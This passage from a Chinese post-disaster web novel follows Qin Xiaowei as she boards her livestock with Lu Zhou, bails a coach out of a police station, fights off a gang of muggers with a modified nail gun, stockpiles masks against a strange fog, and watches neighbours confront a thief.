秦小薇吃饭的时候，鹦鹉也蹲在桌子上，啄食盘子里的坚果。 一人一宠的状态十分和谐！ 在空间里放养了许多天，顿顿好吃好喝地伺候着，小黄比刚来的时候圆润了很多，毛茸茸的一团，看起来非常可爱。 它的羽毛越来越有光泽，手感也越来越好，秦小薇每天吃完饭，都要在空间里陪它玩一会儿，才会出去。 吃完饭，她在空间里转了一圈，收货了一波农场的产出，去机场提交完早上没完成的几笔订单后，秦小薇发现，农场升到29级了。 这次升级没有解锁新的基础建筑，不过黑土地里解锁了松树，收获之后，它可以放到之后升级解锁的家具场里生产家具。 和其他作物相比，松树售出的价格也更高一些，非常适合拿来赚金币。 秦小薇这半年都特别缺金币，她当即决定，从明天开始，就多种松树，卖了换金币。 第二天早上，秦小薇在牲畜棚巡逻的时候，发现机器人提示她，那只怀孕的母羊可能要生产了，让她做好准备。 秦小薇：“……”她能做什么准备，她又不会给羊接生？ 要是让它在空间里生产，她还得准备“产房”，那也太麻烦了…… 她吃完早饭后，就给陆昼打了个电话。 秦小薇：“你现在在家吗？我有事要去找你。” 陆昼：“在工作，中午应该能回去一趟。” 秦小薇：“行，那我中午过去找你。” 楼下堵车特别厉害，中午，秦小薇特地提前了半个多小时出门，她到陆昼小区门口的时候，刚好碰到他下班回来，秦小薇懒得登记，干脆把自己的车停在他们小区门口，直接坐他的车进了小区。 拉布拉多也在后座，它又穿上了它帅气的黑背心，看起来十分精神。 秦小薇一上车，拉布拉多就凑过来要舔她，她不想被糊一脸口水，赶紧伸手抵住它的脑袋：“好了，别激动，座椅都要被你掀翻了……” 安抚完拉布拉多，她才看向一旁的陆昼：“香肠这是又开始上班了？” 陆昼点头：“它在家里活动量不够，精力没地方发泄，不是拆家就是长胖，我就安排它跟着警犬出去巡逻了……” 秦小薇：“……你对它的要求可真高！” 不能拆家就算了，竟然还不准人家长胖！ 它身上的肉难道不是他自己一顿顿喂出来的吗？ 狗饭还是他亲自煮的呢！ 陆昼到家后，他挽了袖子，直奔厨房：“你来找我有什么事？” 秦小薇：“也没什么事，就是之前那只怀孕的母羊这两天可能要生产了，我送它过来住一段时间，顺便做个月子；还有头母牛之前配了种，算算日子，也该怀孕了，你找兽医帮它检查一下……” 陆昼的脚步顿住，他不可置信地转头看她：“秦小薇，你要不要听听，自己在说什么？你让我一个大男人，给羊坐月子？” 秦小薇才不管他什么反应呢！空间里的牲畜是他非要养的，出了问题，肯定要找他！ 她直接进了空间，把羊和牛放了出来，拉布拉多看到忽然出现的牛和羊之后，并没有表现得太过激动，只是凑过去闻了闻，就去一边玩玩具了。 陆昼嫌弃地后退了几步：“秦小薇，你平时不给它们洗澡吗？” 之前母羊被秦小薇接回去的时候，身上连羊毛都被梳顺了，整只羊都是白白软软的一团，在空间里养了几个月后，它虽然没变得特别脏，但牛羊身上都是一股牲畜味。 秦小薇：“我忙得很，哪有时间给它们洗澡？” 每天能去牲畜棚检查两遍机器人的数据，已经是她的极限了。 陆昼被她的理直气壮气笑了：“前两个月健身房又没开业，你忙什么？” 秦小薇理直气壮：“修窗户、赚金币……我要干的事情可多了。” 她一副“我有我的节奏，你别管”的模样。 陆昼：“……” 他叹了口气，让秦小薇把牛羊拴好，免得它们乱跑，自己则拿出手机，发了条消息出去。 秦小薇想等母牛的检查结果出来了再回去，也就没急着离开，陆昼没管她，径直朝着厨房走去。 秦小薇跟在他后面：“你要做饭吗？你中午吃什么？” 陆昼拉开冰箱门，随口答道：“豉油鸡和蒜蓉菜心。” 秦小薇想了想，她似乎很久没吃这两道菜了，便开口道：“给我也做一份，你冰箱里的菜心都蔫了，肯定不好吃了，你等着，我给你拿新鲜的……哎，鸡要不要吃现杀的？我空间里有不下蛋的小公鸡！” 陆昼：“秦小薇，你是不知道客气这两个字怎么写吗？” 秦小薇：“和你客气我只会吃亏……不白吃你的菜，我贡献椒盐虾和米饭。” 陆昼思考了两秒：“成交。” 做饭的时候，她忽然问陆昼：“你直接叫医生来家里，不会有什么问题吧？医生会不会怀疑它们的来历？” 陆昼：“没事，我会处理好的……” 见他这么说，秦小薇放心了，也没问他具体要怎么处理。 陆昼做饭的速度比秦小薇快多了，不过半个小时，他就搞定了两人一狗的午饭。 秦小薇看着狗盆里那只占了一个底的狗饭挑眉：“你就给它吃这么一点？” 陆昼：“中午这顿是加餐，要不然香肠看着我们吃，自己没吃的会闹脾气。” 秦小薇：“……” 她有时候觉得陆昼这个人真的很矛盾，说他对香肠纵容吧，那是真的纵容，狗粮、罐头、玩具都囤了一车；说他严厉吧，又很严厉，他逼一只狗控制体重，还让它上班……她有时候甚至有种他在把拉布拉多当儿子养的感觉。 吃完了中饭，秦小薇又在陆昼家坐了二十多分钟，她之前见过两面的唐医生才推着一台仪器来敲门。 看到陆昼客厅里的两头牲畜，他忍不住挑眉：“陆昼，你这品位越来越独特了，之前是养狗，现在连牛都养上了，我看以后你这可以改名叫动物之家了……” 陆昼：“别废话了，干活！” 虽然嘴上调侃，但唐医生干活的动作还是很利索的，很快，就给牛羊检查完了。 母羊确实是要生了，牛也配种成功了，几个月之后，秦小薇空间里就有小牛犊子了。 唐医生离开之后，秦小薇把牛收进空间里，给陆昼留了不少新鲜的草料和饲料，让他喂羊。 等母羊产后恢复了，她再来接它们回去…… 回健身房后，她坐了没一会儿，就被一位教练拉到了一边：“店长，我有事想和你商量一下……” 秦小薇：“什么事？你说。” 教练：“刚刚有个会员找我，说她老公找了小三，问我能不能陪她去抓奸，帮她壮壮声势，跑一趟给500，动手另外算……店长，这私活能接吗？” 秦小薇：！！！ 还有这种好事？又能吃瓜又能赚钱！ 秦小薇：“你们还缺人吗？你一个人去够不够？要不要我帮忙？” 教练：“……我问问？” 因为教练的实力摆在那，那位女学员最后只接受了教练一个人的“帮助”，婉拒了秦小薇帮（吃）忙（瓜）的要求。 秦小薇有些遗憾，但也没说什么，只是叮嘱那位教练，如果动手的话，一定要注意分寸，千万别把人打出毛病……要是因为几百块钱，把自己送进去了，就不划算了。 教练则拍着胸脯表示，揍人她是专业的，肯定不会把人揍出问题。 晚上下班的时候，秦小薇发现，范槿不是自己回家的，有个陌生的男人开车过来接她下班。 范槿离开后，秦小薇忍不住给她发消息。 【秦小薇：饭饭，你交男朋友了？】 【肖琳琳：什么？什么？饭饭交男朋友了，我怎么不知道？】 【肖琳琳：吃瓜.jpg】 【范槿：不是男朋友，是我妈给我安排的相亲对象，他来接我去相亲……】 【范槿：是我干妈的一个远房侄子，不太好拒绝，所以……你们懂的！】 【肖琳琳：那男的长什么样？帅不帅？】 【秦小薇：长得挺周正的，不过我觉得，找男朋友还是要看对方的人品和条件！】 【肖琳琳：那倒也是，光有一张脸也不行！】 范槿也没避讳，接下来一段时间，她就在群里进行了一次“相亲直播”。 【 范槿：我们去了一家露天的西餐厅，现在宁市竟然还有西餐厅？】 【范槿：我们点了两份猪扒，好贵啊！竟然要688一份！一顿饭吃掉我好几天的工资！】 【范槿：他一直和我聊金融，好尴尬啊！完全听不懂……】 【范槿：这男的不行，他抽烟！】 【肖琳琳：抽烟为什么不行？很多男的都抽烟吧？】 【范槿：我一个姐姐之前和我说过，抽烟的男的，年轻的时候身上是淡淡的烟草味道，等年纪大了之后，嘴巴就会滂臭，像是被腌入味了，晚上睡觉的时候脸都不能对着他……我姐夫就是这样。】 范槿的这次相亲，大概率以失败结束，不过她难得开了次荤，就算被她妈逼着出来相亲，也没影响她的好心情。 晚上的时候，秦小薇忽然接到电话，说那位陪着女学员出去抓奸的教练进派出所了。 秦小薇：？？？ 怎么回事？不是说她动手的时候有分寸吗？ 她连忙起床，套上羽绒服、靴子，去派出所捞人。 原本的派出所也在地震中毁得差不多了，现在的派出所，是用搭建安全屋的钢板搭起来的，很像是集装箱房，不过并不影响里面的警察办公。 到了地方，秦小薇才知道，教练跟着那位女学员去抓奸的时候，才发现那位学员的老公并不是出轨了，而是去嫖|娼了……她们气不过，抓完奸、揍完人之后，就打电话，实名把那个窝点给举报了。 警察抓了人，给她们做笔录的时候，就问她们是怎么发现那个窝点的。 可能是因为面对警察的时候心理压力太大了，那位女学员就把所有的事情都一五一十地说了，包括她花钱找健身房的教练当”打手“的事……然后，教练和女学员就都被警察扣下来了。 秦小薇到的时候，那位女学员都快哭了，一个劲地和教练道歉。 秦小薇：“……”这也太实诚了，怎么警察问什么都说？ 那位学员的老公也因为□□被抓了，他的伤并不严重，找医生验伤的话，连轻伤都算不上。 那位学员的老公并不想离婚，再加上自己犯错在先理亏，他并不打算追究教练的责任，最后，秦小薇交了点罚款，就把人捞出来了。 出了派出所后，教练的表情有些愧疚：“对不起，店长，我给你添麻烦了……” 秦小薇摇了摇头：“反正我晚上也没事干，跑这一趟，就当是出来散步消食了……” 教练：“我以后再也不接这种私活了！店长，罚款你从我的工资里扣吧！” 秦小薇：“确实要注意点，要是把自己也送进去就太亏了……对了，那个窝点是什么情况？是以前就有的，还是最近新冒出来的？” 教练的脸有点红，她四处看了看，见没有人注意她们这边，才压低声音开口道：“听说老板以前就是干这个的，还进去过，最近大家不是都找不到工作吗？老板就重操旧业，在郊区弄了块地方，找了一群失业的年轻女孩，专门做这个，听说一天能赚好几十万……” 秦小薇：“……” 她忍不住叹了口气，这种情况，还是最近频繁的天灾造成的！ 两人开车回了公寓楼下，停车的时候，秦小薇看到了奚川，他正站在一辆跑车边上，给什么人打电话，说要调监控…… 秦小薇打着手电筒路过的时候，看到他跑车的车门上有一片划痕，非常显眼。 秦小薇：他这是……被人恶意报复了？ 不过，大家现在的条件都不怎么好，他停了一辆这么显眼的跑车在路边，遇到了某些仇富的人，在车上划两下，似乎也很正常……附近的监控好像都坏了，不知道他能不能抓到人？ 像她的车，原本价格就不贵，之前台风天的时候，车顶还被冰雹砸得凹凸不平，看起来破破烂烂的，现在就没有这种烦恼了…… 去派出所折腾了一趟，秦小薇到家的时候，已经快要十一点了，为了健康的作息，她换了睡衣就上床睡觉了。 第二天早上，秦小薇刚起床，就收到了陆昼的消息。 【陆昼：生了，三个。】 【陆昼：[图片]】 照片里是母羊和三只刚出生的小羊羔。 秦小薇想了想，上网搜索了几篇文章，分享给了陆昼，内容大概涉及母羊的产后营养补充、健康监测、羊羔护理…… 【秦小薇：[链接]】 【秦小薇：[链接]】 【秦小薇：[链接]】 【秦小薇：好好看看，你用得上。】 【陆昼：……】 【陆昼：秦小薇，你是不是在报复我？】 【秦小薇：没有啊！我就是比较关心母羊和小羊羔。】 【秦小薇：吃瓜.jpg】 吃完早饭，她就去健身房开门迎客了，早上刚开门的时候，健身房没什么人，等到九十点的时候，客人渐渐多了起来，众人也忙碌了起来。 秦小薇就当自己是一块砖，哪里需要哪里搬，要是没人需要她帮忙，她就自己找地方打游戏…… 她在前台帮一位新会员登记完信息后，门外忽然走进来一位大妈。 她冲着健身房里面张望了一会儿，然后径直朝着秦小薇走了过来：“哎，你是这家店的店长吧？” 秦小薇冲着对方笑了一下：“我是，请问您有什么事吗？” 大妈：“我住6004，我儿媳妇之前在楼里生了孩子，你还帮了忙的……不知道你记不记得？” 秦小薇：“有印象……您有什么事吗？” 大妈拍了下大腿，一副愁容满面的模样：“我孙女是个早产儿，养了这么久，还跟个小猫崽子似的，瘦巴巴的，儿媳妇营养跟不上，也没什么奶水，孩子天天半夜饿得哇哇叫……我听说你们老板有门路，能弄到好东西，能不能帮帮忙，弄点猪蹄、老母鸡给我儿媳妇下奶……我不白让你帮忙！” 说着，她就褪下手上一个玉戒指，要塞秦小薇手里。 秦小薇并不懂玉，并不知道它的价值。 她连忙后退几步，避开大妈的手：“阿姨，您别这样……” 大妈目楼乞求：“姑娘，你做做好事，帮帮忙……孩子要是吃饱了，晚上就不哭闹了，楼里其他人也能睡个好觉不是？”【你现在阅读的是 】 80-90 第81章 第81章口罩（双更合一）…… 秦小薇露出职业微笑：“大妈,我帮忙问问吧！但我也不能保证一定能弄到……这戒指你先收回去！到时候要多少钱，我再告诉你！” 听到她的回复，大妈顿时露出笑容,她连连道谢：“哎！那我就先谢谢你了！” 送走了大妈后,秦小薇继续招待客人,她并没有把这个小插曲放在心上。 虽然大妈说得可怜，但秦小薇却不打算帮她弄猪蹄、母鸡,真要是开了这个口子,以后楼里怕是会天天有人上门找她当“代购”……现在这个时候，有困难的人多了去了。 真要是想找人帮忙代购,理由也好找得很。 物资车是每天定时定点出现的，但她的家和健身房都在这里，想躲都没地方躲……她估计会烦死！ 母鸡还好说,猪蹄这种东西,她自己也没存货，她想弄猪蹄，要么把牲畜棚留种的猪杀了,要么去找陆昼求助，她还没好心到为了一个陌生人去欠陆昼的人情。 之后大妈要是问起来,她就说“老板”也弄不到,最多把自己“分到”的鸡蛋卖一部分给她，给她儿媳妇补身体，要是她胡搅蛮缠,那就连鸡蛋都没有了…… 忙碌了一整天，晚上关店之后，秦小薇终于能歇一歇了，她吃了两个简易三明治当晚餐,之后又窝在沙发上打了几局游戏打发时间，楼上不知道在干什么，一直在用电钻钻墙。 秦小薇被吵得头疼，游戏也打不下去了，她干脆换了衣服和鞋子出去夜跑。 暴雨之 前，她几乎每天晚上都要出去跑几公里，暴雨过后，因为各种各样的原因，这个习惯就渐渐被她放下了…… 附近人员太过密集，到了晚上依旧有很多人，秦小薇只能放慢速度，路边的路灯基本上都没修好，很多路段都是黑黢黢的，只能借着月光和星光隐约看到一点建筑和废墟的影子。 但前段时间台风的时候，健身房有个教练送了她一个可以别在衣领上的磁吸手电筒，堪称夜跑、夜钓神器，就算外面没有路灯，也不会影响视线。 因为无业游民的数量激增，最近治安不太好，普通女孩晚上没事几乎不会出门，更别说大晚上跑步了，这个点还待在外面的，几乎都是男人……一路上，还有不少人对她行注目礼。 秦小薇戴着耳机，完全忽视了这些人的视线，自顾自往前跑着。 天天跟着一群拿过各种奖的教练训练，再加上她现在移动靶和固定靶的命中率几乎都是百分之百，秦小薇现在对自己的实力非常自信，她甚至没把自己和那些来健身房寻求帮助的普通女孩划等号。 她觉得，就算有一两个流氓跳出来骚扰她，她也能直接把人揍趴下…… 远离公寓楼之后，附近的人虽然变少了，但路面因为无人清理，出现了很多障碍物，很容易摔倒…… 以后还是在空间里跑步吧！现在外面真的不适合夜跑…… 跑了三公里之后，秦小薇觉得差不多了，开始往回跑。 跑了没多久，前面忽然出现了三个男的，秦小薇没在意，打算绕过他们，继续往回跑，但那几人却朝边上挪了挪，直接堵住了她的路。 秦小薇折到了马路的另一边，却又被拦住了。 她停下脚步，摘下蓝牙耳机，看着几人皱眉：“让让，你们拦路了！” 她说话的时候语气非常不客气，看起来一点都不怕他们。 为首的男人长得尖嘴猴腮，他看着秦小薇笑得一脸淫邪：“这么晚还出来跑步，挺悠闲啊！” 秦小薇：“我想什么时候跑步就什么时候跑步，关你们什么事？” 她盯着三人上下打量着，衡量着两方的战斗力差距……看起来挺瘦的，实力应该不怎么样。 刚好试试她最近的训练成果。 “妹妹，哥几个最近手头有点紧，想找你借点钱花花，要是你能陪我们‘玩玩’，那就更好了！”一个猥琐的男声在她身后响起。 秦小薇回头，发现身后又多了两个胖子。 变成1V5了…… 她还以为干这种事的都是一个人单独行动，没想到碰到团伙作案了！ 秦小薇没有说话，她右腿后撤，膝盖微弓，她举起拳头，做出迎战的姿态。 围住她的五人却没有害怕的意思，表情愈发嬉皮笑脸。 “呦，还想和我们动手，这妹妹性格挺烈的，我喜欢！” “没事，等她见识到哥几个的厉害之后，就只能哭唧唧地叫哥哥了……” “唉，这妹妹脸还行，就是长得太高了，腿也有点粗，我不喜欢！还是昨天那个好……” “……” 听到几人的污言秽语，秦小薇也没露出太愤怒的表情，她直接一拳砸了过去。 一个瘦子被她砸倒在地，顿时鼻血直流。 “这臭娘们儿手劲真大！”瘦子捂着鼻子骂道。 秦小薇没理他，拳风又砸向在场的另一个男人。 五个人里面有三个都是纸糊的，被揍了两拳就倒下了，还有两个，似乎有一些打架的经验，但也不是秦小薇的对手，在绝对的力量压制下，五人很快就被她放倒了。 她一脚踹在其中一人的腿上：“知道我的腿为什么这么粗吗？专门用来踹你们这种人渣的……” “啊——”男人疼得直叫唤，“姐姐，我错了，你放过我吧！我以后再也不敢了……” 秦小薇冷笑：“放过你们？让你们再去祸害其他的小姑娘吗？像你们这样的人渣，就该去工地上干活……” 因为监狱也在地震中毁了，现在没地方关犯人，犯人们统一被安排到工地上干活，无偿重建宁市。 她单手从胳膊上绑着的手机臂包中拿出手机，准备打电话报警。 在等待电话接通的过程中，离她最近的一个胖子忽然掏出了一把蝴蝶刀，握着安全柄轻轻一晃，刀锋就露了出来，他握着刀就要扎她的小腿：“MD，臭婊子……” 秦小薇反应很快，她迅速后撤，右手伸进宽大的运动服外套里，直接从仓库拿出改装过后的射钉枪，对着男人的右手用力一按。 在靶场里消耗的那一盒盒子弹和钉子让她一击击中，男人的手背直接被钉子穿透了，蝴蝶刀也掉在地上。 秦小薇挂断未接通的电话，捡起地上的蝴蝶刀，对着男人被钉子穿透的手背用力踩了下去，让钉子扎得更深一些：“真是麻烦！” 用了改装过后的射钉枪，现在不能报警了，否则被警察知道她手上有这种改装过后的危险武器，肯定会被没收…… 这几个人要怎么处理呢？ 正在秦小薇烦恼的时候，不远处，忽然传来一阵汽车的引擎声。 有一辆非常眼熟的吉普车从黑暗中开了出来，停在他们身边。 陆昼降下车窗，冲她弯了弯唇角：“有进步啊！终于敢对着人开枪了……是不是发现，只要把他们当成靶子，对他们开枪，也没那么难？” 秦小薇朝着他刚刚出现的方向看了看，不满皱眉：“你刚刚一直在边上看热闹？” 陆昼晃了晃手上的枪：“本来想帮忙的，但你好像不太需要……” 秦小薇朝周围看了看，附近都是废墟，几乎看不到人影。 秦小薇：“你什么时候来的？” 陆昼：“跟了一路了，不过某人警惕心太差，根本没注意到后面跟着一群小尾巴！” 秦小薇：“……”早知道夜跑的时候就不戴耳机听歌了！ “算了……”秦小薇没和他计较他躲在边上看热闹的事，“既然你来了，这些人就交给你处理了！” 陆昼推开车门下了车，他用手枪抬起其中一个胖子的下巴：“你想我怎么处理？是直接崩了，还是慢慢折磨他们，让他们看着自己的器官一个个被摘掉，被活活折磨死……” 刚刚同伴才被改装过的射钉枪一枪射穿了手掌，此时地上躺着的人都没有怀疑陆昼手里拿的是假枪。 他说话的时候脸上依旧带着笑，可声音和眼神里却不带一丝温度。 冰冷的枪身贴在胖子脸上，胖子瞬间觉得他的样子和电影里的变态杀人犯重合了，他都快吓尿了：“大大大大大哥，这玩意儿可不兴拿出来胡闹啊，我们真的就只想找妹妹，不是，大姐聊聊天，没想干别的！” 和陆昼认识这么久，秦小薇知道他某些时候，其实是有点“洁癖”的，真让他分尸，她估计会嫌弃他们的血弄脏了他的手，他说这些话也只是为了吓唬他们。 她催促道：“别玩了，你搞快点，我还要回家呢！” “知道了！”陆昼这才站直了身体，他拿出手机，打了个电话。 几分钟后，警笛的声音由远及近…… 陆昼简单和警察说了几句，那几人就被带走了，警察并没有给他们做笔录。 临走的时候，那几人一直叫嚣着陆昼手里有真枪，让警察抓他们，但警察就像是集体耳聋了似的，根本没给出太大的反应…… 警车消失在他们的视线里之后，秦小薇看向陆昼：“等警察审问完他们了，不会来我家没收我的射钉枪吧？” 陆昼摸了摸下巴，做思索状：“不一定，嘴长在他们身上，我也不知道他们会说什么……” 秦小薇一脚踹了过去：“认真点，我没和你开玩笑。” 陆昼这才端正了表情：“放心吧！我在宁市还是能说得上话的，不会有人来打扰你的……真要是被没收了，你会怎么样？” 秦小薇斜了他一眼，一副“这还要问，你是不是傻”的表情。 秦小薇：“当然是再买几把射钉枪，自己改装啊！” 她浪费了那么多钉子练准头，可不能白练了！ 不行，只有一把射钉枪还是不太保险，要不她再去淘几把？ 陆昼上下扫视她，满脸都是怀疑，他挑眉：“你确定？” 秦小薇握拳：“你小看我？” 陆昼立刻后退几步：“没有，只是想提醒你，改装这事还是要有一点基础的。” 秦小薇：“我回去研究研究……” 陆昼没评价她的想法，转移话题道：“要我送你回去吗？” 秦小薇看了看身后黑黢黢的大马路，她犹豫了几秒，点点头，拉开车门，坐上了副驾驶。 秦小薇：“你怎么会来这？” 陆昼：“送奚川回家。” 秦小薇点点头，没再多问他的私事，车里一下子安静下来，陆昼放了首舒缓的轻音乐。 听着耳边的音乐声，秦小薇的情绪渐渐平静下来，她打了个哈欠。 有点困 了，想睡觉…… 临下车前，陆昼提醒她：“最近外面乱得很，你要是想跑步，还是在空间里跑吧！” 经历过刚刚的事，她之后也不想出来夜跑了，虽然她有自保的能力，但现在的坏人要都是团伙作案，也挺危险的…… 她点头：“知道了。” 路过6004的时候，门从里面打开了，白天来找过她的大妈从里面探出头：“姑娘，我托你帮忙的事，你帮我问了吗？” 秦小薇点头：“阿姨，我问了，但你要的物资实在是太稀缺了，我们老板也弄不到……” 大妈顿时急了：“怎么会弄不到？我看你们健身房发的蔬菜鸡蛋，都是一箱一箱的，你们老板那么有本事，几只猪蹄母鸡而已，也就是他抬抬手的事吧？” 秦小薇：“阿姨，我真没骗你……你看我们健身房发的东西，也就只有蔬菜和鸡蛋，肉现在是稀缺物资，我们老板自己都在吃素呢！” 见她还要再说什么，秦小薇继续开口道：“阿姨，您孙女也是我看着出生的，也算是和我有缘，这么小的婴儿，饿得没奶吃，也实在是可怜……我之前领的那盒鸡蛋还没吃完，我分你几个吧！” 她态度诚恳，语气真切，似乎是真的很担心大妈的孙女，让她挑不出半点错误。 大妈“可是”了半天，最后只能接受秦小薇的好意。 秦小薇分了八个鸡蛋给她，她没收高价，只收了一张十块钱的纸币，和物资车那售卖的鸡蛋一个价。 解决完大妈的事，秦小薇反锁上房门，进空间里洗了个澡，就准备睡了。 第二天，健身房依旧非常忙碌，一直到中午，众人才有时间休息。 吃能量饼干的时候，不知是谁提起了话头，聊到了地震之前那一个多月密集的考试安排。 “哎，你们知道吗？高考志愿的结果出来了……” 范槿：“很多学校不是都在地震中毁了吗？现在成绩出来了又有什么用？Q大的教学楼和学生宿舍现在还被难民占着呢！还不知道什么时候能空出来……学生就算来报到了也没地方住！” 教练：“可以上网课啊！据说今年连录取通知书都不是纸质的，直接登录官网，线上就能领取，大学和高中的入学手续，也是在线上办……” 肖琳琳：“咱们体院不能这么搞吧？训练怎么办？” 其他的专业，或许文化课的成绩比较重要，但他们体院，成绩是要靠一天天的训练积累的…… 秦小薇：“有些专业，估计会取消吧！” 范槿：“啊？那也太惨了！” 有些体育特长生，都是从小就选定了方向的，文化课成绩和普通的高中生相比，根本没什么优势，要真是一刀切，把体院给取消了，这些学生估计就要失学了…… 现在各地都开始重建了，因为长久以来的传统观念，在普通人眼里，学业还是很重要的。 秦小薇：“大环境这样，咱们也没办法……” 吃完中饭后，众人又聊了一会，秦小薇就回去睡午觉了。 站了一上午，脚底板都站疼了，趁着中午没什么人，好好休息一下，下午再继续干活！ 要是后面还这么忙，她就要考虑招两个兼职的员工了，不知道现在还能不能找到体院的学弟学妹给她兼职…… 下午三四点的时候，外面忽然起了大雾，灰蒙蒙的一片，雾气来得非常快，不过短短十几分钟，楼下的人和远处的建筑就都看不清了。 肖琳琳趴在窗户上，惊奇道：“一般不都是清晨起雾吗？我还是第一次看到下午起雾……” 现在室外的最低温依旧有4℃左右，在健身房穿太多衣服会活动不开，健身房的中央空调一直是开着的，倒是暂时不用担心外面的雾气会涌进来。 看着外面忽然出现的大雾，想到陆昼的话，秦小薇忍不住皱眉。 现在还在工地上干活、重建宁市的普通人，不会出事吧？ 她拿出手机看了看，预警中心并没有发预警短信，同城APP上虽然有人在讨论这场突如其来的大雾，也有敏锐的网友提醒大家，雾气来得不正常，要小心，但大部分网友都没把他们的提醒当回事。 众人讨论得最多的，还是担心雾气会影响他们出行…… 好在这场大雾来得快、去得也快，一个多小时后，天还没完全黑，雾就彻底散掉了。 天黑的时候，她收到了陆昼发过来的消息。 【陆昼：[图片][图片]】 【陆昼：小羊羔已经会跑了，你什么时候把它们接回去？】 照片里是三只活蹦乱跳的小羊羔。 秦小薇有些惊讶，这么快？ 【秦小薇：不着急，羊妈妈还要坐月子呢！】 【陆昼：你以为它是人吗？还坐月子！】 隔着屏幕，秦小薇都能感受到他的无语。 【秦小薇：羊妈妈生产之后需要恢复，放你那再养养吧！我看你养小动物，还是挺厉害的。】 【陆昼：……】 【陆昼：我就当你是在夸我了。】 【秦小薇：对了，下午的时候雾还挺大的，你们不发公告提醒一下吗？】 【陆昼：就一会，没事。】 秦小薇皱眉，现在不发公告，等以后普通人知道了雾气的危害，会有情绪吧？ 不过她作为一个普通市民，也没资格置喙市政的安排。 待会儿去同城APP上看看，能不能收点口罩吧！ 她能做的，也就是尽量保障自己和员工们的人身安全了…… 同城APP上有好几个商家在卖口罩，尤其是用防晒材料制作的冰丝防晒口罩，之前高温的时候流行过一阵，现在还有不少商家有存货。 因为最近温度比较低，防风防寒的保暖棉口罩也有人卖。 医用口罩卖的人倒是很少。 秦小薇想了想，直接把医用口罩包圆了，冰丝口罩和保暖口罩也各买了一些。 不知道后两种有没有用，囤点货备着吧，总比没有好！ 她懒得上门去取，直接在外卖APP上下单，找跑腿小哥帮忙取货。 跑腿小哥的动作很快，秦小薇只等了二十多分钟，就接到了他的电话。 下楼拿东西的时候，她还碰到了李阿姨，从九楼搬下来之后，秦小薇和她的交集就变少了很多。 秦小薇主动和她打招呼：“李阿姨，您出来扔垃圾啊？” 李阿姨：“这段时间楼里的新住户太多了，好多人都没素质，垃圾堆在门口都不扔，让人踢来踢去的，弄得到处都是，还有人让自家孩子在楼道里拉屎，脏死了……我晚上没什么事，就把门口打扫了一下。” 秦小薇：“公寓楼不是有保洁吗？” 李阿姨：“她们明天才上班，那些垃圾散在地上太难看了！” 秦小薇：“您真爱干净！” 李阿姨摆了摆手：“不说这些糟心的事了……小秦，你最近工作怎么样？健身房的生意还行吧？” 秦小薇：“最近外面有点乱，健身房的生意一下子好了很多，我都有点忙不过来了！” 李阿姨：“忙点好啊！至少能赚钱，总比闲着没事还要发员工工资好……” 秦小薇：“那倒是！能赚到钱，我干活也有动力。” 说话间，电梯到了一楼，和暴雨之前不同，现在跑腿小哥送货骑的是自行车——虽然市政在组织市民重建宁市，但电力依旧稀缺，有些人就算有车也没地方充电，现在很多跑腿小哥骑的都是自行车。 车把手上挂着三大包口罩，见秦小薇下来了，小哥立刻取下袋子，把东西递给她：“都在这了，你看看数量对不对……” 第82章 第82章巡逻队（双更合一）…… 秦小薇接过袋子,大致数了数，见数量差不多，便冲着跑腿小哥点点头：“数量没错。” 跑腿小哥：“那行,麻烦您给个好评！” “嗯。”她拿出手机,当着跑腿小哥的面给了五星好评。 “谢谢！”跑腿小哥调转车龙头,跨上自行车，准备离开。 为了方便干活,自行车后面的货架上除 了两个金属的置物筐,还绑着一个大号的外卖保温箱，载重和他们之前用电动车送货也差不多。 不过要骑着车在市内转一整天,非常费腿，秦小薇之前还看到网上有人吐槽，说干完一天活回去,腿软得跟面条似的,走路都打颤…… 现在干跑腿的活比之前辛苦很多，但因为市场上工作岗位太少，导致很多人注册当跑腿,和之前高温的时候不同，现在跑腿小哥的收入下降了很多。 见跑腿小哥离开了,秦小薇就提着袋子上楼了。 吃完晚饭,在沙发上休息了两个小时后，她起身去了健身房。 健身房的器械很全，现在健身房没有营业,屋里的健身器械随她挑选，她开了盏小灯，就开始做力量训练…… 但练了没多久，她就听到外面有人在大喊抓贼。 公寓楼里人太多了,很多楼层的监控都是坏的，又只有两个保安在工作，楼里这段时间出了不少小偷小摸的事，但这还是第一次有人被抓现行，秦小薇有些好奇，她停下动作，拿了条毛巾擦了擦额头上的汗，就顺着声音找了出去。 声音是从八楼传出来的，她上楼的时候，不少人都从屋里出来了，正堵在走廊上围观。 秦小薇挤进人群，就见一个老太太正抓着一个瘦弱男人的胳膊，对着他破口大骂：“你个遭瘟的东西，有手有脚的，不好好工作赚钱，跑来偷我老太太的东西……” 老太太的头发全都白了，但战斗力却非常彪悍，她拽着瘦弱男人的胳膊，就跟抓着一只小鸡崽似的，他完全挣脱不开。 男人用袖子遮着脸，缩着肩膀，耳朵都是通红的，一副窘迫的模样。 男人：“对不起，我也是没办法了！东西我还给你，你放开我行吗？” 老太太单手叉腰：“放开什么放开？我要报警，送你去工地上劳改！” 此话一出，瘦弱男人的脸色瞬间变了，他也顾不得用袖子遮脸了，他抓着老太太的手哀求道：“阿姨，我真的是没办法才干这种事的，你就原谅我这一回吧……我女儿还那么小，我要是被抓了，她一个人可怎么办？” 老太太的态度十分冷漠：“摊上你这么一个爸爸，也是她活该！” 秦小薇站在人群中，从周围人的聊天声中，大致知道了男人的情况。 男人之前是个白领，暴雨涨水的时候，就因为经济问题一直和他老婆吵架，水退之后，他就离婚了，独自一人带着女儿生活。 之后，他又失业了，生活一直非常拮据，高温的时候，他女儿还因为中暑送到医院抢救，最后虽然人救回来了，但他却欠了一屁股债。 他女儿的身体也留下了后遗症，隔三差五就要吃药、进医院，跟个无底洞似的…… 他之前欠的钱还没还上，又一直找不到工作，再加上现在大家都过得很艰难，现在亲戚朋友都不愿意借钱给他。 为了给女儿治病，他只能铤而走险…… 虽然他偷东西确实是有苦衷，但周围却没多少人同情他，大部分人都在谴责他——在场的人，这段时间或多或少都丢了些东西。 现在赚钱非常困难，无端损失了财物，他们自然非常痛恨小偷，好不容易抓到一个小偷，众人几乎是把所有的怒气都发泄在他一个人身上。 “我上个星期丢了一条纯金的脚链，说不定也是他偷的！” “我的太阳能台灯也被偷了，肯定也是他偷的！” “必须得送警察局，让警察好好审审，查查他之前还偷了什么，让他把东西吐出来！” “缺钱也不能干这种缺德事！” “……” 秦小薇一个人住，她的公寓只有她一个人可以出入，健身房又安了监控，里面又都是自己人，再加上她之前在公寓楼丢过爆米花，在防贼这方面格外注意。 这段时间，倒是没有丢过东西，她也就没发表意见，只站在人群里，默默吃瓜。 